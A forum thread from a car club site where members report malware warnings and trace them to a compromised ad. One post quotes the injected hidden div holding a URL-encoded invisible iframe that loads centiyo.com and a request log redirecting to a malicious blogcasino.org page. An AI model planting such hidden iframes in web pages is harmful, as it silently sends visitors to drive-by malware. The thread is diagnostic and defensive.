PENDING: Interference with Anti-virus - BlazinWRX

[drrockandroll]

I just saw all the other threads on this matter, so I'm guessing it's being taken care of.

[yamaha_rider619]

is anything being done about this?

[yamaha_rider619]

I stand corrected, when i use firefox, i get a bunch of warnings over and over.

[Wrinklechops]

all warnings quit now for me

Mine are still happening. I will look for the other threads if I can...

[Wrinklechops]

Glad to see I'm not alone. Should have checked this thread before I posted one. I'm getting these errors really bad... even when I click on a new link (i.e. Forums) once I finally get into ClubWRX.

[BrianH]

Google is now blocking ClubWRX as an attack site. One of the Google ads that was hosted on this page was hosting the trojan. It needs to be sorted out.

Far from a webdev here, but it appears to be an iframe calling centiyo, that's bouncing people over to blogcasino.

<div id="yAI" style="visibility:hidden;display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Fcentiyo.com%2Fin.cgi%3Fdefau lt%27%3E%3C%2Fiframe%3E</div>

---request begin---
GET /in.cgi HTTP/1.0
User-Agent: StinkyLynx
Accept: */*
Host: centiyo.com
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 302 Found
Date: Sun, 13 Dec 2009 07:27:56 GMT
Server: Apache/2
Set-Cookie: SL_default_0000=_1_; domain=centiyo.com; path=/; expires=Mon, 14-Dec-2009 07:27:56 GMT
Location: hxxp://blogcasino.org/lib/index.php
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html

[WRXelent]

The page you are trying to access has been identified as a known exploit, phishing, or social engineering web site and therefore has been blocked for your safety. Without protection, such as that in the AVG Security Toolbar and AVG, your computer is at risk of being compromised, corrupted or having your identity stolen. Please follow one of the suggestions below to continue.

URL: blogcasino.org/lib/index.php
Name: Javascript Obfuscation (type 714)

[wrxtreme06]

everything is working for me now. no more messages.

[mudferret]

Here's what I had to do, outlined in my repost.

Page load errors are another story altogether...

[Pavia]

FYI: I've been using my PDA exclusively with no problems (yes, I still use a PDA... hey, it has wifi and it's free )

[mycologist]

Same thing, I've been getting this for a while and it just happened again at 1:05pm.

<br />
<div class="errormessage">
<img class="errormessage" src="http://www.clubwrx.net/openads/www/admin/images/errormessage.gif" align="absmiddle">
<span class='tab-r'>PEAR Error</span>
<br />
<br />MDB2 Error: Array
<br /><pre>_doQuery: [Error message: Could not execute statement]
[Last executed query:
INSERT INTO
oa_data_intermediate_ad
(
day,
hour,
operation_interval,
operation_interval_id,
interval_start,
interval_end,
ad_id,
creative_id,
zone_id,
requests,
impressions,
clicks,
conversions,
total_basket_value,
total_num_items,
updated
)
SELECT
tu.day AS day,
tu.hour AS hour,
tu.operation_interval AS operation_interval,
tu.operation_interval_id AS operation_interval_id,
tu.interval_start AS interval_start,
tu.interval_end AS interval_end,
tu.ad_id AS ad_id,
tu.creative_id AS creative_id,
tu.zone_id AS zone_id,
SUM(tu.requests) AS requests,
SUM(tu.impressions) AS impressions,
SUM(tu.clicks) AS clicks,
SUM(tu.conversions) AS conversions,
IFNULL(SUM(tu.total_basket_value), 0) AS total_basket_value,
IFNULL(SUM(tu.total_num_items), 0) AS total_num_items,
'2009-12-13 10:04:47' AS updated
FROM
tmp_union AS tu
GROUP BY
day,
hour,
operation_interval,
operation_interval_id,
interval_start,
interval_end,
ad_id,
creative_id,
zone_id]
[Native code: 145]
[Native message: Table './clubwrx_ads/oa_data_intermediate_ad' is marked as crashed and should be repaired]
</pre>

[Sasquatch]

Still getting warnings: Encyclopedia entry: TrojanDownloader&#58;JS&#47;Rifrab.A - Learn more about malware - Microsoft Malware Protection Center

[lytlec]

still does it for me...that malware BS....WTF

[Tinywagon]

yeah I'm still getting some BS malware warning. and I'm rocking a Mac OS. so I'm not sure if that ads any info.

[Wrinklechops]

Here's what I had to do, outlined in my repost.

Page load errors are another story altogether...

That didn't work for me